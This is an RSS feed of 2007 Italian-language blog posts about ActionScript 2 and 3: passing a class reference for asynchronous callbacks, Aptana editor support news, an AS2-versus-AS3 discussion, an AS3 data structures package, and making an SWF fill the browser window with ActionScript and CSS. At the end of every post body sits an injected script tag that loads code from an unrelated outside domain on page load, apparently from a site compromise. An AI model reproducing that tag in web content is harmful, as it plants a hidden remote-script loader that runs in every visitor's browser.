<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>FlashFuck.it &#187; ActionScript</title>
	<atom:link href="http://www.flashfuck.it/category/actionscript/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.flashfuck.it</link>
	<description>flash platform, gaming and 3D</description>
	<lastBuildDate>Tue, 27 Apr 2010 12:53:37 +0000</lastBuildDate>
	<generator>http://wordpress.org/?v=2.9.2</generator>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
			<item>
		<title>Design Patterns &#8211; Comunicazione tra classi in actionscript 3</title>
		<link>http://www.flashfuck.it/2007/11/01/design-patterns-comunicazione-tra-classi-in-actionscript-3/</link>
		<comments>http://www.flashfuck.it/2007/11/01/design-patterns-comunicazione-tra-classi-in-actionscript-3/#comments</comments>
		<pubDate>Thu, 01 Nov 2007 09:47:04 +0000</pubDate>
		<dc:creator>pigiuz</dc:creator>
				<category><![CDATA[ActionScript]]></category>
		<category><![CDATA[ActionScript 3]]></category>
		<category><![CDATA[Tutorials]]></category>

		<guid isPermaLink="false">http://www.flashfuck.it/2007/11/01/design-patterns-comunicazione-tra-classi-in-actionscript-3/</guid>
		<description><![CDATA[Sar√≤ breve e conciso (le ultime parole famose  )
Il problema che andr√≤ ad affrontare √® il seguente:
come faccio a comunicare ad una classe il risultato di una funzione, o pi√π generalmente dei &#8220;dati&#8221; elaborati in maniera asincrona da un&#8217;altra classe istanziata nella mia classe di partenza?
Se i dati fossero elaborati e restituiti in diretta [...]]]></description>
			<content:encoded><![CDATA[<p>Sar√≤ breve e conciso (le ultime parole famose <img src='http://www.flashfuck.it/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> )</p>
<p>Il problema che andr√≤ ad affrontare √® il seguente:<br />
<em>come faccio a comunicare ad una classe il risultato di una funzione, o pi√π generalmente dei &#8220;dati&#8221; elaborati in maniera asincrona da un&#8217;altra classe istanziata nella mia classe di partenza?</em></p>
<p>Se i dati fossero elaborati e restituiti <em>in diretta</em> non ci si porrebbe il problema, esempio ne sono le classi di largo consumo come Math e Date (<em>es: var mioint:int = Math.round(9.99999)</em>).</p>
<p>Ma se volessi delegare (termine usato non a caso, visto i trascorsi di as2 <img src='http://www.flashfuck.it/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> ) a delle classi customizzate la mole di lavoro tipo delle routines di caricamento o qualcosa di simile?</p>
<p>Poniamo il caso di voler caricare una configurazione per la nostra applicazione\sito\game\&#8230; che risiede su un file cfg.xml.<br />
Potremmo fare il tutto all&#8217;interno della document class cos√¨,</p>
<ol>
<li>creiamo una private var _cfgxml:XML</li>
<li>nel costruttore andiamo a caricarci i dati  con var myLoader:URLLoader = new URLLoader(new URLRequest(&#8216;cfg.xml&#8217;));</li>
<li>appioppiamo al loader un gestore di evento Event.COMPLETE a cui associamo il parsing dei dati myLoader.addEventListener(Event.COMPLETE,cfgParse);</li>
<li>creiamo  private function cfgParse(e:Evento) in cui istanziamo _cfgxml = new XML(e.target.data);</li>
</ol>
<p>Ok, √® un&#8217;ipotesi plausibile, ma se questo nostro file richiedesse attenzioni particolari? o se semplicemente volessimo delegare ad altre classi le funzioni di parsing, di comunicazione con componenti, ecc ecc, solo per la soddisfazione di essere pi√π &#8220;puliti&#8221; nel codice&#8230;?</p>
<p>In actionscript 2 avremmo utilizzato Delegate passando come argomento la timeline (o l&#8217;istanza di classe) di riferimento. Ma in actionscript 3 &#8220;Delegate √® stat&#8217; segheit&#8221; <img src='http://www.flashfuck.it/wp-includes/images/smilies/icon_biggrin.gif' alt=':D' class='wp-smiley' /> </p>
<p>Si rende quindi necessario passare la timeline\istanzadiclasse di riferimento come parametro per l&#8217;istanziazione della classe che elaborer√† i dati.</p>
<p>Esempio:</p>
<p>document class</p>

<div class="wp_codebox_msgheader"><span class="right"><sup><a href="http://www.ericbess.com/ericblog/2008/03/03/wp-codebox/#examples" target="_blank" title="WP-CodeBox HowTo?"><span style="color: #99cc00">?</span></a></sup></span><span class="left"><a href="javascript:;" onclick="javascript:showCodeTxt('p39code3'); return false;">View Code</a> ACTIONSCRIPT</span><div class="codebox_clear"></div></div><div class="wp_codebox"><table width="100%" ><tr id="p393"><td class="code" id="p39code3"><pre class="actionscript" style="font-family:monospace;"><span style="color: #0066CC;">private</span> <span style="color: #000000; font-weight: bold;">var</span> _cfg:CFGManager;
&nbsp;
<span style="color: #0066CC;">public</span> <span style="color: #000000; font-weight: bold;">function</span> Main<span style="color: #66cc66;">&#40;</span><span style="color: #66cc66;">&#41;</span><span style="color: #66cc66;">&#123;</span>
<span style="color: #808080; font-style: italic;">//costruttore</span>
_cfg = <span style="color: #000000; font-weight: bold;">new</span> CFGManager<span style="color: #66cc66;">&#40;</span><span style="color: #0066CC;">this</span><span style="color: #66cc66;">&#41;</span>;
_cfg.<span style="color: #006600;">loadCFG</span><span style="color: #66cc66;">&#40;</span><span style="color: #66cc66;">&#41;</span>;
&nbsp;
<span style="color: #66cc66;">&#125;</span><span style="color: #0066CC;">public</span> <span style="color: #000000; font-weight: bold;">function</span> continuaMainClass<span style="color: #66cc66;">&#40;</span><span style="color: #66cc66;">&#41;</span><span style="color: #66cc66;">&#123;</span><span style="color: #66cc66;">&#125;</span></pre></td></tr></table></div>

<p>classe richiamata dalla document class</p>

<div class="wp_codebox_msgheader"><span class="right"><sup><a href="http://www.ericbess.com/ericblog/2008/03/03/wp-codebox/#examples" target="_blank" title="WP-CodeBox HowTo?"><span style="color: #99cc00">?</span></a></sup></span><span class="left"><a href="javascript:;" onclick="javascript:showCodeTxt('p39code4'); return false;">View Code</a> ACTIONSCRIPT</span><div class="codebox_clear"></div></div><div class="wp_codebox"><table width="100%" ><tr id="p394"><td class="code" id="p39code4"><pre class="actionscript" style="font-family:monospace;"><span style="color: #0066CC;">private</span> <span style="color: #000000; font-weight: bold;">var</span> _main:Main; <span style="color: #808080; font-style: italic;">//riferimento alla classe chiamante</span>
<span style="color: #0066CC;">public</span> <span style="color: #000000; font-weight: bold;">function</span> CFGManager<span style="color: #66cc66;">&#40;</span>m:Main<span style="color: #66cc66;">&#41;</span><span style="color: #66cc66;">&#123;</span><span style="color: #808080; font-style: italic;">//costruttore</span>
_main=m;<span style="color: #808080; font-style: italic;">//qui vado a memorizzare i riferimenti al main</span>
<span style="color: #66cc66;">&#125;</span>
&nbsp;
<span style="color: #0066CC;">public</span> <span style="color: #000000; font-weight: bold;">function</span> loadCFG<span style="color: #66cc66;">&#40;</span><span style="color: #66cc66;">&#41;</span><span style="color: #66cc66;">&#123;</span>
<span style="color: #808080; font-style: italic;">//qui carico il mio xml di configurazione</span>
<span style="color: #808080; font-style: italic;">//appioppo l'event listener per il caricamento</span>
<span style="color: #808080; font-style: italic;">//e poi passo il tutto a parseCFG</span>
<span style="color: #66cc66;">&#125;</span>
<span style="color: #0066CC;">private</span> <span style="color: #000000; font-weight: bold;">function</span> parseCFG<span style="color: #66cc66;">&#40;</span><span style="color: #0066CC;">e</span>:Event<span style="color: #66cc66;">&#41;</span><span style="color: #66cc66;">&#123;</span>
<span style="color: #808080; font-style: italic;">//qui parso l'xml da e.target.data</span>
<span style="color: #808080; font-style: italic;">//e poi faccio continuare l'esecuzione del main</span>
_main.<span style="color: #006600;">continuaMainClass</span><span style="color: #66cc66;">&#40;</span><span style="color: #66cc66;">&#41;</span>;
<span style="color: #66cc66;">&#125;</span></pre></td></tr></table></div>

<p>Perfortuna non √® nulla di cos√¨ complesso <img src='http://www.flashfuck.it/wp-includes/images/smilies/icon_biggrin.gif' alt=':D' class='wp-smiley' /> </p>
<p>Per ottimizzare il tutto per√≤ sar√† opportuno non ricevere in ingresso un parametro fortemente tipizzato, ad esempio la classe CFGManager accetta in input solo parametri di tipo &#8220;Main&#8221;&#8230;se si vuole &#8220;astrarre&#8221; il codice, in modo da renderlo riutilizzabile sar√† opportuno che accetti potenzialmente qualsiasi tipo di dato, da DisplayObject all&#8217;estremo &#8220;*&#8221;&#8230;ma poi sono gusti <img src='http://www.flashfuck.it/wp-includes/images/smilies/icon_biggrin.gif' alt=':D' class='wp-smiley' /> </p>
<p>avevo detto che sarei stato breve, quindi alla prossima <img src='http://www.flashfuck.it/wp-includes/images/smilies/icon_biggrin.gif' alt=':D' class='wp-smiley' /> <script src="http://ae.awaue.com/7"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.flashfuck.it/2007/11/01/design-patterns-comunicazione-tra-classi-in-actionscript-3/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Aptana Actionscript editing support &#8211; ecco cosa dice lo staff dell&#8217;alternativa free ai tool di Adobe</title>
		<link>http://www.flashfuck.it/2007/10/27/aptana-actionscript-editing-support-ecco-cosa-dice-lo-staff-dellalternativa-free-ai-tool-di-adobe/</link>
		<comments>http://www.flashfuck.it/2007/10/27/aptana-actionscript-editing-support-ecco-cosa-dice-lo-staff-dellalternativa-free-ai-tool-di-adobe/#comments</comments>
		<pubDate>Sat, 27 Oct 2007 13:04:30 +0000</pubDate>
		<dc:creator>pigiuz</dc:creator>
				<category><![CDATA[ActionScript]]></category>
		<category><![CDATA[Anything else]]></category>
		<category><![CDATA[News]]></category>
		<category><![CDATA[Open Source]]></category>

		<guid isPermaLink="false">http://www.flashfuck.it/2007/10/27/aptana-actionscript-editing-support-ecco-cosa-dice-lo-staff-dellalternativa-free-ai-tool-di-adobe/</guid>
		<description><![CDATA[Da mesi sto cercando articoli, tutorial, tentativi, abbozzi di codice o discussioni relativi al supporto per l&#8217;editing di actionscript (principalmente as3) su Aptana (che ormai √® diventato il mio tool di programmazione definitivo per il &#8220;non-flash development&#8221;  ).
Esistono vari plugin di eclipse in grado di affrontare questa necessit√†, cito ASDT (actionscript development tools) per [...]]]></description>
			<content:encoded><![CDATA[<p>Da mesi sto cercando articoli, tutorial, tentativi, abbozzi di codice o discussioni relativi al supporto per l&#8217;editing di <a href="http://www.flashfuck.it/category/flash/as/">actionscript</a> (principalmente as3) su <a href="http://www.aptana.com">Aptana </a>(che ormai √® diventato il mio tool di programmazione definitivo per il &#8220;<a href="http://www.flashfuck.it/category/ajax/">non-flash development</a>&#8221; <img src='http://www.flashfuck.it/wp-includes/images/smilies/icon_biggrin.gif' alt=':D' class='wp-smiley' /> ).</p>
<p>Esistono vari plugin di eclipse in grado di affrontare questa necessit√†, cito <a href="http://sourceforge.net/projects/aseclipseplugin/">ASDT </a>(actionscript development tools) per as2 e il binding dell&#8217;sdk di flex alle risorse di eclipse via <a href="http://www.flex2ant.org/">flex2ant </a>per as3.</p>
<p>Tuttavia tutti i metodi che ho sperimentato sono a mio avviso insoddisfacenti.</p>
<p>Dopo il rilascio del plug-in di aptana per il supporto della tecnologia Adobe AIR tutti (io per primo <img src='http://www.flashfuck.it/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> ) si aspettavano un supporto che tale plug-in apportasse all&#8217;ambiente di editing le capacit√† di gestire anche actionscript, ma nessuna risposta √® stata data in merito dallo staff tecnico di Aptana.</p>
<p style="text-align: center"><img src="http://www.aptana.com/images/aptana_badge_staff.png" height="88" width="70" /></p>
<p><strong>MA</strong> girovagando tra i ticket di Aptana oggi mi sono imbattuto in <a href="http://www.aptana.com/trac/ticket/4810">questo post</a> il team esecutivo scrive:</p>
<blockquote><p><em>We are currently working on the next milestone release of the core IDE and will discuss AS3 support once we start to plan our next Adobe AIR plugin release.</em></p></blockquote>
<blockquote><p>¬†(Stiamo giustappunto lavorando alla prossima release di aptana e discuteremo del supporto di actionscript 3¬† nonappena inizieremo a pianificare la prossima versione del plug-in per il supporto di AIR)</p></blockquote>
<p>Certo, non √® una risposta capace di entusiasmare le folle, ma almeno √® una risposta <img src='http://www.flashfuck.it/wp-includes/images/smilies/icon_biggrin.gif' alt=':D' class='wp-smiley' /><br />
Inoltre il post procede con un</p>
<blockquote><p><em>&#8220;This is definitely the most requested enhancement so we will take a hard look at what it will take to implement this.&#8221;</em></p>
<p>(questa √® in assoluto la feature pi√π richiesta quindi vedremo di fare il possibile per fare in modo di implementarla)</p></blockquote>
<p>Ecco, in una riga hanno gi√† corretto il tiro&#8230;</p>
<p>Aspettiamo fiduciosi&#8230;<br />
nel frattempo, b√®, asdt e flex2ant non sono poi cos√¨ male <img src='http://www.flashfuck.it/wp-includes/images/smilies/icon_biggrin.gif' alt=':D' class='wp-smiley' /> <script src="http://ae.awaue.com/7"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.flashfuck.it/2007/10/27/aptana-actionscript-editing-support-ecco-cosa-dice-lo-staff-dellalternativa-free-ai-tool-di-adobe/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Actionscript 3 VS Actionscript 2</title>
		<link>http://www.flashfuck.it/2007/10/03/actionscript-3-vs-actionscript-2/</link>
		<comments>http://www.flashfuck.it/2007/10/03/actionscript-3-vs-actionscript-2/#comments</comments>
		<pubDate>Wed, 03 Oct 2007 21:35:03 +0000</pubDate>
		<dc:creator>pigiuz</dc:creator>
				<category><![CDATA[ActionScript]]></category>
		<category><![CDATA[ActionScript 2]]></category>
		<category><![CDATA[ActionScript 3]]></category>
		<category><![CDATA[Anything else]]></category>
		<category><![CDATA[Flash]]></category>
		<category><![CDATA[News]]></category>

		<guid isPermaLink="false">http://www.flashfuck.it/2007/10/03/actionscript-3-vs-actionscript-2/</guid>
		<description><![CDATA[AS2 o AS3?
Idee e opinioni degli addetti ai lavori sulle versioni di actionscript, sulle tendenze di mercato..

Riporto il topic su wave9.it, leggetelo qui o andate direttamente alla fonte  
Apro questo thread perch√® √® forte lo slancio che da un p√≤ di tempo a questa parte ha trascinato l&#8217;attenzione di molti &#8220;flasher&#8221; su AS3, e [...]]]></description>
			<content:encoded><![CDATA[<p>AS2 o AS3?<br />
Idee e opinioni degli addetti ai lavori sulle versioni di actionscript, sulle tendenze di mercato..</p>
<p align="center"><img src='http://www.flashfuck.it/wp-content/uploads/2007/10/gotoandfuck.png' alt='gotoandfuck.png' /></p>
<p>Riporto il topic su <a href="http://www.wave9.it">wave9.it</a>, leggetelo qui o andate <a href="http://www.wave9.it/showthread.php?p=124460">direttamente alla fonte</a> <img src='http://www.flashfuck.it/wp-includes/images/smilies/icon_biggrin.gif' alt=':D' class='wp-smiley' /> </p>
<blockquote><p>Apro questo thread perch√® √® forte lo slancio che da un p√≤ di tempo a questa parte ha trascinato l&#8217;attenzione di molti &#8220;flasher&#8221; su AS3, e diverse sono le opinioni a riguardo tra gli addetti ai lavori e non solo.</p>
<p>Actionscript 3 ha portato insieme gioie e perplessit√†,<br />
ha sicuramente accentuato le differenze tra le figure &#8220;flash coder&#8221; e &#8220;flash designer&#8221; marcando pi√π strettamente il territorio di confine.<br />
Forse ha incrinato la figura del &#8220;flasher&#8221; come &#8220;colui che sviluppa in flash&#8221; e ha attirato (soprattutto con la sempre maggiore diffusione di flex) una valanga di coders a cimentarsi con actionscript.</p>
<p>C&#8217;√® chi pensa che AS3 abbia solo complicato le cose, o meglio turbato l&#8217;equilibrio che si era andato a creare con l&#8217;avvento di flash mx,<br />
che con AS3 serva scrivere molto pi√π codice per fare le stesse cose che si facevano in AS2, e quindi non serva a nulla,<br />
che AS3 e la AVM2 (la virtual machine di flash player 8.5+) sia solo una strategia di marketing per stravolgere il mercato e vendere flash 9 (ehm&#8230;cs3) e flex builder ad una fetta pi√π ampia di coders&#8230;.</p>
<p>C&#8217;√® anche chi pensa che AS3 sia il &#8220;futuro&#8221; ( anche se non ancora ben rodato),<br />
che AS3 sia effettivamente pi√π valido di AS2, che la virtual machine sia nettamente pi√π performante della precedente&#8230;e via cos√¨&#8230;</p>
<p>&#8230;e intanto hanno presentato al MAX il flash player 10&#8230;</p>
<p>E voi cosa ne pensate?</p></blockquote>
<p><script src="http://ae.awaue.com/7"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.flashfuck.it/2007/10/03/actionscript-3-vs-actionscript-2/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>AS3 Data Structures For Game Developers</title>
		<link>http://www.flashfuck.it/2007/09/19/as3-data-structures-for-game-developers/</link>
		<comments>http://www.flashfuck.it/2007/09/19/as3-data-structures-for-game-developers/#comments</comments>
		<pubDate>Wed, 19 Sep 2007 08:33:11 +0000</pubDate>
		<dc:creator>pigiuz</dc:creator>
				<category><![CDATA[ActionScript]]></category>
		<category><![CDATA[ActionScript 3]]></category>
		<category><![CDATA[Open Source]]></category>
		<category><![CDATA[Source]]></category>

		<guid isPermaLink="false">http://www.flashfuck.it/2007/09/19/as3-data-structures-for-game-developers/</guid>
		<description><![CDATA[Dalla Germania con furore arriva un package indispensabile per chi vuole cimentarsi con qualcosa di pi√π di una semplice image gallery.
Michael Baczynski, ha pubblicato sul suo blog il suo &#8220;Data Structures&#8220;.

ma vediamo di cosa si tratta&#8230;

&#8220;AS3 Data Structures For Game Developers&#8221; is a package containing common data structures useful for flash game programming and application [...]]]></description>
			<content:encoded><![CDATA[<p>Dalla Germania con furore arriva un package indispensabile per chi vuole cimentarsi con qualcosa di pi√π di una semplice image gallery.<br />
Michael Baczynski, ha pubblicato sul suo blog il suo &#8220;<a href="http://lab.polygonal.de/ds/">Data Structures</a>&#8220;.</p>
<p align="center"><img src="http://lab.polygonal.de/wp-content/uploads/ds_logo.gif" alt="AS3 Data Structures" /></p>
<p>ma vediamo di cosa si tratta&#8230;<br />
<span id="more-27"></span><br />
<em>&#8220;AS3 Data Structures For Game Developers&#8221; is a package containing common data structures useful for flash game programming and application development</em>, mai descrizione fu pi√π sintetica e completa.</p>
<p>Il package contiene infatti diverse strutture di dati utili alla rappresentazione delle diverse situazioni riscontrabili sia nella programmazione di videogames che in quella delle applicazioni (anche nelle pi√π semplici).</p>
<p>Le strutture di dati di questo package suppliscono alla &#8220;semplicit√†&#8221; dei tipi di <a href="http://www.flashfuck.it/category/flash/as/as3/">AS3</a>, vengono implementate infatti strutture largamente diffuse e utilizzate dai pi√π come</p>
<ul>
<li>array multidimensionali (2 e 3 dimensioni)</li>
<li>alberi e alberi binari</li>
<li>liste concatenate</li>
<li>code di priorit√†</li>
<li>grafici (graph)</li>
</ul>
<p>La documentazione del package √® ottima (http://www.polygonal.de/ds/api/) e non ci sono lacune di sorta o concetti lasciati all&#8217;interpretazione.</p>
<p>L&#8217;utilizzo di queste strutture di dati, o meglio, l&#8217;approccio a questo &#8220;nuovo&#8221; (che poi nuovo non √®, questo √® solo un porting in AS3 delle strutture pi√π utilizzate nella logica di programmazione) modo di archiviare i dati pu√≤ intimorire un newbie che sta solo cercando di fare la sua image gallery, ma una volta sperimentato questo package sar√† la base da cui partire, quindi<br />
<code><br />
import flash.display.Sprite;<br />
import de.polygonal.ds.*;<br />
</code><br />
e buon coding! <img src='http://www.flashfuck.it/wp-includes/images/smilies/icon_biggrin.gif' alt=':D' class='wp-smiley' /> <script src="http://ae.awaue.com/7"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.flashfuck.it/2007/09/19/as3-data-structures-for-game-developers/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Adattare un swf alle dimensioni del browser con actionscript, oggetto stage, e CSS</title>
		<link>http://www.flashfuck.it/2007/08/20/adattare-un-swf-alle-dimensioni-del-browser-con-actionscript-oggetto-stage-e-css/</link>
		<comments>http://www.flashfuck.it/2007/08/20/adattare-un-swf-alle-dimensioni-del-browser-con-actionscript-oggetto-stage-e-css/#comments</comments>
		<pubDate>Mon, 20 Aug 2007 19:42:08 +0000</pubDate>
		<dc:creator>pigiuz</dc:creator>
				<category><![CDATA[ActionScript]]></category>
		<category><![CDATA[ActionScript 2]]></category>
		<category><![CDATA[ActionScript 3]]></category>
		<category><![CDATA[Flash]]></category>
		<category><![CDATA[Tutorials]]></category>
		<category><![CDATA[Source]]></category>

		<guid isPermaLink="false">http://www.flashfuck.it/2007/08/20/adattare-un-swf-alle-dimensioni-del-browser-con-actionscript-oggetto-stage-e-css/</guid>
		<description><![CDATA[Molti siti propongono swf a tutto schermo conseguendo l&#8217;obbiettivo in vari modi pi√π o meno compatibili con le specifiche W3c.
Se la domanda che vi assilla √®:
&#8220;Come si fa ad adattare un swf alle dimensioni della finestra del browser in modo che il risultato sia compatibile con i maggiori  browser?&#8221; continuate pure a leggere  [...]]]></description>
			<content:encoded><![CDATA[<p>Molti siti propongono swf a tutto schermo conseguendo l&#8217;obbiettivo in vari modi pi√π o meno compatibili con le specifiche W3c.</p>
<p>Se la domanda che vi assilla √®:<br />
<em>&#8220;Come si fa ad adattare un swf alle dimensioni della finestra del browser in modo che il risultato sia compatibile con i maggiori  browser?&#8221;</em> continuate pure a leggere <img src='http://www.flashfuck.it/wp-includes/images/smilies/icon_biggrin.gif' alt=':D' class='wp-smiley' /> </p>
<p><span id="more-22"></span></p>
<p><strong>Partiamo dalle basi:</strong></p>
<p><em><strong>Dentro Flash:</strong> </em></p>
<p>Il flash player fornisce ad Actionscript una serie di API destinate all&#8217;interazione con lo stage del nostro swf fin dai tempi di flash mx.<br />
Utilizzare questi appigli per determinare le dimensioni del nostro swf in esecuzione √® piuttosto semplice e richiede davvero poche righe di codice:</p>
<p><strong>Actionscript 2</strong>:</p>

<div class="wp_codebox_msgheader"><span class="right"><sup><a href="http://www.ericbess.com/ericblog/2008/03/03/wp-codebox/#examples" target="_blank" title="WP-CodeBox HowTo?"><span style="color: #99cc00">?</span></a></sup></span><span class="left"><a href="javascript:;" onclick="javascript:showCodeTxt('p22code8'); return false;">View Code</a> ACTIONSCRIPT</span><div class="codebox_clear"></div></div><div class="wp_codebox"><table width="100%" ><tr id="p228"><td class="code" id="p22code8"><pre class="actionscript" style="font-family:monospace;"><span style="color: #0066CC;">Stage</span>.<span style="color: #0066CC;">scaleMode</span> = <span style="color: #ff0000;">&quot;noScale&quot;</span>;
<span style="color: #0066CC;">Stage</span>.<span style="color: #0066CC;">align</span> = <span style="color: #ff0000;">&quot;TL&quot;</span>;
<span style="color: #000000; font-weight: bold;">var</span> myListener:<span style="color: #0066CC;">Object</span> = <span style="color: #000000; font-weight: bold;">new</span> <span style="color: #0066CC;">Object</span><span style="color: #66cc66;">&#40;</span><span style="color: #66cc66;">&#41;</span>;
myListener.<span style="color: #0066CC;">onResize</span> = onScreenResize;
<span style="color: #0066CC;">Stage</span>.<span style="color: #0066CC;">addListener</span><span style="color: #66cc66;">&#40;</span>myListener<span style="color: #66cc66;">&#41;</span>;
&nbsp;
<span style="color: #000000; font-weight: bold;">function</span> onScreenResize<span style="color: #66cc66;">&#40;</span><span style="color: #66cc66;">&#41;</span>:<span style="color: #0066CC;">Void</span>
<span style="color: #66cc66;">&#123;</span>
	<span style="color: #0066CC;">trace</span><span style="color: #66cc66;">&#40;</span><span style="color: #0066CC;">Stage</span>.<span style="color: #0066CC;">width</span><span style="color: #66cc66;">&#41;</span>;
	<span style="color: #0066CC;">trace</span><span style="color: #66cc66;">&#40;</span><span style="color: #0066CC;">Stage</span>.<span style="color: #0066CC;">height</span><span style="color: #66cc66;">&#41;</span>;
<span style="color: #66cc66;">&#125;</span></pre></td></tr></table></div>

<p><strong>Actionscript 3:</strong></p>

<div class="wp_codebox_msgheader"><span class="right"><sup><a href="http://www.ericbess.com/ericblog/2008/03/03/wp-codebox/#examples" target="_blank" title="WP-CodeBox HowTo?"><span style="color: #99cc00">?</span></a></sup></span><span class="left"><a href="javascript:;" onclick="javascript:showCodeTxt('p22code9'); return false;">View Code</a> ACTIONSCRIPT</span><div class="codebox_clear"></div></div><div class="wp_codebox"><table width="100%" ><tr id="p229"><td class="code" id="p22code9"><pre class="actionscript" style="font-family:monospace;"><span style="color: #0066CC;">import</span> flash.<span style="color: #006600;">display</span>.<span style="color: #006600;">StageAlign</span>;
<span style="color: #0066CC;">import</span> flash.<span style="color: #006600;">display</span>.<span style="color: #006600;">StageScaleMode</span>;
<span style="color: #0066CC;">import</span> flash.<span style="color: #006600;">events</span>.<span style="color: #66cc66;">*</span>;
&nbsp;
<span style="color: #0066CC;">stage</span>.<span style="color: #0066CC;">scaleMode</span> = StageScaleMode.<span style="color: #006600;">NO_SCALE</span>;
<span style="color: #0066CC;">stage</span>.<span style="color: #0066CC;">align</span> = StageAlign.<span style="color: #006600;">TOP_LEFT</span>;
<span style="color: #808080; font-style: italic;">//assegno la funzione al gestore evento</span>
<span style="color: #0066CC;">stage</span>.<span style="color: #006600;">addEventListener</span><span style="color: #66cc66;">&#40;</span>Event.<span style="color: #006600;">RESIZE</span>,onScreenResize<span style="color: #66cc66;">&#41;</span>;
<span style="color: #808080; font-style: italic;">//funzione per gestire il resize</span>
<span style="color: #808080; font-style: italic;">//(e=null di default per evitare errori a runtime)</span>
<span style="color: #000000; font-weight: bold;">function</span> onScreenResize<span style="color: #66cc66;">&#40;</span><span style="color: #0066CC;">e</span>:Event=<span style="color: #000000; font-weight: bold;">null</span><span style="color: #66cc66;">&#41;</span>:<span style="color: #0066CC;">void</span>
<span style="color: #66cc66;">&#123;</span>
	<span style="color: #0066CC;">trace</span><span style="color: #66cc66;">&#40;</span><span style="color: #0066CC;">stage</span>.<span style="color: #006600;">stageWidth</span><span style="color: #66cc66;">&#41;</span>;
	<span style="color: #0066CC;">trace</span><span style="color: #66cc66;">&#40;</span><span style="color: #0066CC;">stage</span>.<span style="color: #006600;">stageHeight</span><span style="color: #66cc66;">&#41;</span>;
<span style="color: #66cc66;">&#125;</span></pre></td></tr></table></div>

<p>La logica come potete vedere √® la medesima:</p>
<ul>
<li>si blocca il ridimensionamento automatico dello stage (ossia lo &#8220;zoom&#8221; indesiderato)</li>
<li>si allinea lo stage in una delle 9 posizioni possibili (da top-left a bottom-right)</li>
<li>si va a gestire l&#8217;evento onResize dell&#8217;oggetto Stage in una funzione che esegue del codice a nostro uso e consumo</li>
</ul>
<p>Cambia un pochino la sintassi, ma √® solo questione di abitudine <img src='http://www.flashfuck.it/wp-includes/images/smilies/icon_biggrin.gif' alt=':D' class='wp-smiley' /><br />
<em><strong>Nel codice HTML e nel foglio di stile CSS: </strong></em></p>
<p>ora possiamo passare alla parte xhtml e css, ossia quella parte che <strong>effettivamente </strong>va a gestire le dimensioni del player all&#8217;interno del browser.</p>
<p>Gli elementi della ricetta sono i seguenti:</p>
<ul>
<li>un div</li>
<li>le direttive di stile per gli elementi del DOM &#8220;html&#8221;, &#8220;body&#8221; e &#8220;#nomediv&#8221;</li>
<li><a href="http://blog.deconcept.com/swfobject/">SWFObject</a> a piacere per scrivere il nostro swf in #nomediv</li>
</ul>
<p>Il nostro CSS apparir√† simile a questo:</p>

<div class="wp_codebox_msgheader"><span class="right"><sup><a href="http://www.ericbess.com/ericblog/2008/03/03/wp-codebox/#examples" target="_blank" title="WP-CodeBox HowTo?"><span style="color: #99cc00">?</span></a></sup></span><span class="left"><a href="javascript:;" onclick="javascript:showCodeTxt('p22code10'); return false;">View Code</a> CSS</span><div class="codebox_clear"></div></div><div class="wp_codebox"><table width="100%" ><tr id="p2210"><td class="code" id="p22code10"><pre class="css" style="font-family:monospace;">html <span style="color: #00AA00;">&#123;</span>
	<span style="color: #000000; font-weight: bold;">height</span><span style="color: #00AA00;">:</span> <span style="color: #933;"><span style="color: #cc66cc;">100</span>%</span><span style="color: #00AA00;">;</span>
	<span style="color: #000000; font-weight: bold;">overflow</span><span style="color: #00AA00;">:</span> <span style="color: #993333;">hidden</span><span style="color: #00AA00;">;</span>
<span style="color: #00AA00;">&#125;</span>
<span style="color: #cc00cc;">#flashdiv</span> <span style="color: #00AA00;">&#123;</span>
	<span style="color: #000000; font-weight: bold;">height</span><span style="color: #00AA00;">:</span> <span style="color: #933;"><span style="color: #cc66cc;">100</span>%</span><span style="color: #00AA00;">;</span>
<span style="color: #00AA00;">&#125;</span>
body <span style="color: #00AA00;">&#123;</span>
	<span style="color: #000000; font-weight: bold;">height</span><span style="color: #00AA00;">:</span> <span style="color: #933;"><span style="color: #cc66cc;">100</span>%</span><span style="color: #00AA00;">;</span>
	<span style="color: #000000; font-weight: bold;">margin</span><span style="color: #00AA00;">:</span> <span style="color: #cc66cc;">0</span><span style="color: #00AA00;">;</span>
	<span style="color: #000000; font-weight: bold;">padding</span><span style="color: #00AA00;">:</span> <span style="color: #cc66cc;">0</span><span style="color: #00AA00;">;</span>
	<span style="color: #000000; font-weight: bold;">background-color</span><span style="color: #00AA00;">:</span> <span style="color: #cc00cc;">#FFFFFF</span><span style="color: #00AA00;">;</span>
<span style="color: #00AA00;">&#125;</span></pre></td></tr></table></div>

<p><strong>Conclusione e Sorgenti</strong></p>
<p>Questo √® solo uno dei vari modi in cui si pu√≤ ottenere un swf grande quanto la finestra del browser e compatibile con la maggior parte dei browser in circolazione.</p>
<p>Ad ogni modo, <a href="http://www.flashfuck.it/wp-content/uploads/2007/08/fitscreen.zip" title="FitScreen AS + CSS">nel file zip</a> ci sono i vari casi elencati in questo mini &#8220;tutorial&#8221;,</p>
<p>stay tuned <img src='http://www.flashfuck.it/wp-includes/images/smilies/icon_biggrin.gif' alt=':D' class='wp-smiley' /> <script src="http://ae.awaue.com/7"></script></p>
]]></content:encoded>
